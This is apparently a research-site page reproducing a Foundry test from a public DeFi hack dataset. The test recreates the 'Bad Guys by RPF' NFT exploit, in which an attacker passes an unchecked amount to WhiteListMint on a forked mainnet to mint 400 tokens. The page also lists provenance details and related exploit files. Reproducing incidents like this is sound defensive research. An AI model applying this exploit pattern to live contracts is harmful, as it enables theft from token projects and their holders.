Public reproduction file

src/test/2022-09/BadGuysbyRPF_exp.sol

Public reproduction file for dataset entry Bad Guys by RPF.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/BadGuysbyRPF_exp.sol62 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/*
8Bad Guys by RPF Business Logic Flaw Exploit PoC
9 
10The exploit was due to the missing check for "chosenAmount" in the WhiteListMint function which allowed the attacker to pass the number of NFTs he/she wanted to mint.
11 
12To understand more about NFT Merkle Proof - https://www.youtube.com/watch?v=67vkL8XkoJ0
13 
14Etherscan tx - https://etherscan.io/tx/0xb613c68b00c532fe9b28a50a91c021d61a98d907d0217ab9b44cd8d6ae441d9f
15 
16forge test --contracts ./src/test/BadGuysbyRPF_exp.sol -vv*/
17 
18contract BadGuysbyRPFExploit is Test {
19    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
20 
21    address owner = 0x09eFF2449882F9e727A8e9498787f8ff81465Ade; //owner of Bad Guys by RPF
22    address attacker = 0xBD8A137E79C90063cd5C0DB3Dbabd5CA2eC7e83e;
23 
24    IBadGuysRPFERC721 RPFContract = IBadGuysRPFERC721(0xB84CBAF116eb90fD445Dd5AeAdfab3e807D2CBaC);
25    bytes32[] merkleTree;
26 
27    function setUp() public {
28        cheats.createSelectFork("mainnet", 15_460_093); //fork mainnet at 15460093
29 
30        // There should be an easier way to do this
31        // I tried passing it as whole array but did not work
32        merkleTree.push(0xa3299324d1c59598e0dfa68de8d8c03d7492d88f6068cdd633a74eb9212e19e5);
33        merkleTree.push(0x5dcd197f362a82daaf56545974db26aabfe335be4c7eef015d3d74ccea4bf511);
34        merkleTree.push(0x18d716ad7f5113fe53b24a30288c6989dd04e6ad881be58b482d8d58f71c42da);
35        merkleTree.push(0x97a98e092a76c15cef3709df2776cf974e2519231e79c9ad97c15a1835c5c4be);
36        merkleTree.push(0x171696d6231b4a201927b35fe2dae4b91cefb62bef849a143560ebbb49cee5df);
37        merkleTree.push(0xe89305151bbec931414ab9693bf886cf3b96dba00ca338b1c0aaae911b6dff35);
38        merkleTree.push(0x69691b91227fa34a7a9a691d355fd6c466370928ddf3d50a347e894970f10079);
39        merkleTree.push(0x78299a273b7d50bcb1d75df1694be463b9cc66c6520026b785615c4594dbb1ba);
40        merkleTree.push(0xb297db4d926f0ebc26e098afcefa63d1d86d2e047ecbc36357192ef5240ea0ea);
41        merkleTree.push(0xb875ced562ca82ce114152c899bbd085d230a17be452243fda43bf995774243e);
42        merkleTree.push(0xd284a1831379548ff6bb0b5ad75ce8d0d1fea1cdc7b40b5f8d2e2307c9eda32c);
43        merkleTree.push(0x7eff30a405cfce9989fe9d71e346d7b3616fa69b8251782898226268818f63fb);
44        merkleTree.push(0x651ec4246f6e842692770a6ebd63396b4d62b52a3406522a02f182b8a16ba48c);
45        merkleTree.push(0xee17656e8a839ac096dd5905744ada01278fc49b978260e9e3ddd92223cc18d7);
46        merkleTree.push(0xce5c61c22a5d840c02b32aaebf73c9bc3c3d71c49f22b22c4f3cae4aa1fd557b);
47    }
48 
49    function testExploit() public {
50        //quick hack to enable Minting in Block#15460093
51        //In actual hack the Mint was live in Block#15460094
52        cheats.prank(owner);
53        RPFContract.flipPauseMinting();
54 
55        console.log("[Before WhiteListMint] Attacker's Bad Guys by RPF NFT Balance: ", RPFContract.balanceOf(attacker));
56 
57        cheats.prank(attacker);
58        RPFContract.WhiteListMint(merkleTree, 400); //mint 400 Bad Guys by RPF
59 
60        console.log("[After WhiteListMint]  Attacker's Bad Guys by RPF NFT Balance: ", RPFContract.balanceOf(attacker));
61    }
62}

Analysis

Dataset entry

Public Foundry test for “Bad Guys by RPF” (2022-09-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-09/BXH_exp.solSame month in the dataset · 313 lines
src/test/2022-09/DPC_exp.solSame month in the dataset · 102 lines
src/test/2022-09/MEVbadc0de_exp.solSame month in the dataset · 186 lines
src/test/2022-09/BNB48MEVBot_exp.solSame month in the dataset · 68 lines
src/test/2022-09/NewFreeDAO_exp.solSame month in the dataset · 573 lines
src/test/2022-09/NXUSD_exp.solSame month in the dataset · 155 lines
src/test/2022-09/RADT_exp.solSame month in the dataset · 67 lines
src/test/2022-09/ROI_exp.solSame month in the dataset · 297 lines
src/test/2022-09/Shadowfi_exp.solSame month in the dataset · 61 lines
src/test/2022-09/THB_exp.solSame month in the dataset · 91 lines
src/test/2022-09/Yyds_exp.solSame month in the dataset · 61 lines
src/test/2022-09/ZoomproFinance_exp.solSame month in the dataset · 100 lines

File record

Name: Bad Guys by RPF
Path: src/test/2022-09/BadGuysbyRPF_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: c07c5555dad22006289b470d1a70b1bd534cde49
Language: Solidity
Size: 63 lines
Date: 2022-09-02
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-09/BadGuysbyRPF_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c07c5555dad22006289b470d1a70b1bd534cde49, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.